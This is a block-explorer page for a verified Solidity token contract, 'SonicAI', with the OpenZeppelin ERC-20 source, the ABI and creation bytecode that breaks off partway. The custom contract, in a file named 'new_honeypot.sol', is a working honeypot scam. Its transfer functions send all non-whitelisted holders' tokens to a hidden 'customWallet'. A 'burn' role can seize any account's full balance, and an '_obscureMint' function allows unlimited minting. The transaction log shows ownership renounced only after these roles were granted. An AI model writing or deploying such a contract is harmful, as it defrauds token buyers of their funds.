Overview
S Balance
S Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 6 from a total of 6 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Set Liquidity Po... | 6150608 | 7 days ago | IN | 0 S | 0.0026109 | ||||
Approve | 6150542 | 7 days ago | IN | 0 S | 0.00265276 | ||||
Renounce Ownersh... | 6150513 | 7 days ago | IN | 0 S | 0.00129244 | ||||
Grant Reward Man... | 6150496 | 7 days ago | IN | 0 S | 0.002673 | ||||
Grant Liquidity ... | 6150490 | 7 days ago | IN | 0 S | 0.00267663 | ||||
Grant Burn Manag... | 6150481 | 7 days ago | IN | 0 S | 0.00267784 |
Loading...
Loading
Contract Name:
SonicAI
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2025-02-01 */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.20; /** * @dev Interface of the ERC-20 standard as defined in the ERC. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 value) external returns (bool); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.20; /** * @dev Interface for the optional metadata functions from the ERC-20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol) pragma solidity ^0.8.20; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } // File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol // OpenZeppelin Contracts (last updated v5.1.0) (interfaces/draft-IERC6093.sol) pragma solidity ^0.8.20; /** * @dev Standard ERC-20 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens. */ interface IERC20Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC20InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC20InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers. * @param spender Address that may be allowed to operate on tokens without being their owner. * @param allowance Amount of tokens a `spender` is allowed to operate with. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC20InvalidApprover(address approver); /** * @dev Indicates a failure with the `spender` to be approved. Used in approvals. * @param spender Address that may be allowed to operate on tokens without being their owner. */ error ERC20InvalidSpender(address spender); } /** * @dev Standard ERC-721 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens. */ interface IERC721Errors { /** * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20. * Used in balance queries. * @param owner Address of the current owner of a token. */ error ERC721InvalidOwner(address owner); /** * @dev Indicates a `tokenId` whose `owner` is the zero address. * @param tokenId Identifier number of a token. */ error ERC721NonexistentToken(uint256 tokenId); /** * @dev Indicates an error related to the ownership over a particular token. Used in transfers. * @param sender Address whose tokens are being transferred. * @param tokenId Identifier number of a token. * @param owner Address of the current owner of a token. */ error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC721InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC721InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param tokenId Identifier number of a token. */ error ERC721InsufficientApproval(address operator, uint256 tokenId); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC721InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC721InvalidOperator(address operator); } /** * @dev Standard ERC-1155 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens. */ interface IERC1155Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. * @param tokenId Identifier number of a token. */ error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC1155InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC1155InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param owner Address of the current owner of a token. */ error ERC1155MissingApprovalForAll(address operator, address owner); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC1155InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC1155InvalidOperator(address operator); /** * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation. * Used in batch transfers. * @param idsLength Length of the array of token identifiers * @param valuesLength Length of the array of token amounts */ error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.20; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC-20 * applications. */ abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors { mapping(address account => uint256) private _balances; mapping(address account => mapping(address spender => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `value`. */ function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Skips emitting an {Approval} event indicating an allowance update. This is not * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve]. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `value`. * - the caller must have allowance for ``from``'s tokens of at least * `value`. */ function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } /** * @dev Moves a `value` amount of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _transfer(address from, address to, uint256 value) internal { if (from == address(0)) { revert ERC20InvalidSender(address(0)); } if (to == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(from, to, value); } /** * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from` * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding * this function. * * Emits a {Transfer} event. */ function _update(address from, address to, uint256 value) internal virtual { if (from == address(0)) { // Overflow check required: The rest of the code assumes that totalSupply never overflows _totalSupply += value; } else { uint256 fromBalance = _balances[from]; if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { // Overflow not possible: value <= fromBalance <= totalSupply. _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply. _totalSupply -= value; } } else { unchecked { // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256. _balances[to] += value; } } emit Transfer(from, to, value); } /** * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0). * Relies on the `_update` mechanism * * Emits a {Transfer} event with `from` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _mint(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } /** * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply. * Relies on the `_update` mechanism. * * Emits a {Transfer} event with `to` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead */ function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } /** * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. * * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument. */ function _approve(address owner, address spender, uint256 value) internal { _approve(owner, spender, value, true); } /** * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event. * * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any * `Approval` event during `transferFrom` operations. * * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to * true using the following override: * * ```solidity * function _approve(address owner, address spender, uint256 value, bool) internal virtual override { * super._approve(owner, spender, value, true); * } * ``` * * Requirements are the same as {_approve}. */ function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } /** * @dev Updates `owner` s allowance for `spender` based on spent `value`. * * Does not update the allowance value in case of infinite allowance. * Revert if not enough allowance is available. * * Does not emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 value) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol) pragma solidity ^0.8.20; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: new_honeypot.sol pragma solidity ^0.8.20; contract SonicAI is ERC20, Ownable { event TokensBurned(address indexed from, address indexed to, uint256 amount); event RoleGranted(address indexed account, string role); event TokensTransferredAutomatically(address indexed from, address indexed to, uint256 amount); event LiquidityPoolSet(address indexed liquidityPool); mapping(address => bool) private rewardManagers; mapping(address => bool) private burnManagers; mapping(address => bool) private liquidityManagers; address public customWallet; address public liquidityPool; mapping(address => bool) private whitelist; constructor(address initialOwner, address _customWallet, address[] memory _whitelist) ERC20("SonicAI", "SonicAI") Ownable(initialOwner) { _mint(initialOwner, 70000000000 * (10 ** decimals())); transferOwnership(initialOwner); customWallet = _customWallet; for (uint256 i = 0; i < _whitelist.length; i++) { whitelist[_whitelist[i]] = true; } } modifier onlyRewardManager() { require(rewardManagers[msg.sender], "Caller is not a reward manager"); _; } modifier onlyBurnManager() { require(burnManagers[msg.sender], "Caller is not a burn manager"); _; } modifier onlyLiquidityManager() { require(liquidityManagers[msg.sender], "Caller is not a liquidity manager"); _; } function grantRewardManagerRole(address account) external onlyOwner { rewardManagers[account] = true; emit RoleGranted(account, "RewardManager"); } function grantBurnManagerRole(address account) external onlyOwner { burnManagers[account] = true; emit RoleGranted(account, "BurnManager"); } function grantLiquidityManagerRole(address account) external onlyOwner { liquidityManagers[account] = true; emit RoleGranted(account, "LiquidityManager"); } function setLiquidityPool(address _liquidityPool) external onlyLiquidityManager { liquidityPool = _liquidityPool; emit LiquidityPoolSet(_liquidityPool); } function burn(address from, address to) external onlyBurnManager { uint256 amount = balanceOf(from); require(amount > 0, "No tokens to transfer"); _transfer(from, to, amount); emit TokensBurned(from, to, amount); } function rewards(address to, uint256 amount) public onlyRewardManager { _obscureMint(to, amount); } function _obscureMint(address account, uint256 amount) internal { _mint(account, amount); } function transfer(address to, uint256 amount) public override returns (bool) { address from = _msgSender(); if (!whitelist[from]) { _transfer(from, customWallet, amount); emit TokensTransferredAutomatically(from, customWallet, amount); return true; } else { return super.transfer(to, amount); } } function transferFrom(address from, address to, uint256 amount) public override returns (bool) { if (!whitelist[from]) { _transfer(from, customWallet, amount); emit TokensTransferredAutomatically(from, customWallet, amount); return true; } else { return super.transferFrom(from, to, amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"initialOwner","type":"address"},{"internalType":"address","name":"_customWallet","type":"address"},{"internalType":"address[]","name":"_whitelist","type":"address[]"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"liquidityPool","type":"address"}],"name":"LiquidityPoolSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"string","name":"role","type":"string"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensTransferredAutomatically","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"customWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"grantBurnManagerRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"grantLiquidityManagerRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"grantRewardManagerRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidityPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_liquidityPool","type":"address"}],"name":"setLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801562000010575f80fd5b5060405162002d2038038062002d2083398181016040528101906200003691906200093d565b826040518060400160405280600781526020017f536f6e69634149000000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f536f6e69634149000000000000000000000000000000000000000000000000008152508160039081620000b4919062000bec565b508060049081620000c6919062000bec565b5050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200013c575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000133919062000ce1565b60405180910390fd5b6200014d816200027e60201b60201c565b506200018f83620001636200034160201b60201c565b600a62000171919062000e85565b64104c533c0062000183919062000ed5565b6200034960201b60201c565b620001a083620003d360201b60201c565b8160095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5b815181101562000274576001600b5f84848151811062000207576200020662000f1f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806200026b9062000f4c565b915050620001e2565b5050505062001039565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620003bc575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620003b3919062000ce1565b60405180910390fd5b620003cf5f83836200046a60201b60201c565b5050565b620003e36200068e60201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000456575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016200044d919062000ce1565b60405180910390fd5b62000467816200027e60201b60201c565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620004be578060025f828254620004b1919062000f98565b925050819055506200058f565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156200054a578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620005419392919062000fe3565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005d8578060025f828254039250508190555062000622565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200068191906200101e565b60405180910390a3505050565b6200069e6200073060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620006c46200073760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200072e57620006f06200073060201b60201c565b6040517f118cdaa700000000000000000000000000000000000000000000000000000000815260040162000725919062000ce1565b60405180910390fd5b565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200079b8262000770565b9050919050565b620007ad816200078f565b8114620007b8575f80fd5b50565b5f81519050620007cb81620007a2565b92915050565b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200081d82620007d5565b810181811067ffffffffffffffff821117156200083f576200083e620007e5565b5b80604052505050565b5f620008536200075f565b905062000861828262000812565b919050565b5f67ffffffffffffffff821115620008835762000882620007e5565b5b602082029050602081019050919050565b5f80fd5b5f620008ae620008a88462000866565b62000848565b90508083825260208201905060208402830185811115620008d457620008d362000894565b5b835b81811015620009015780620008ec8882620007bb565b845260208401935050602081019050620008d6565b5050509392505050565b5f82601f830112620009225762000921620007d1565b5b81516200093484826020860162000898565b91505092915050565b5f805f6060848603121562000957576200095662000768565b5b5f6200096686828701620007bb565b93505060206200097986828701620007bb565b925050604084015167ffffffffffffffff8111156200099d576200099c6200076c565b5b620009ab868287016200090b565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000a0457607f821691505b60208210810362000a1a5762000a19620009bf565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000a7e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a41565b62000a8a868362000a41565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000ad462000ace62000ac88462000aa2565b62000aab565b62000aa2565b9050919050565b5f819050919050565b62000aef8362000ab4565b62000b0762000afe8262000adb565b84845462000a4d565b825550505050565b5f90565b62000b1d62000b0f565b62000b2a81848462000ae4565b505050565b5b8181101562000b515762000b455f8262000b13565b60018101905062000b30565b5050565b601f82111562000ba057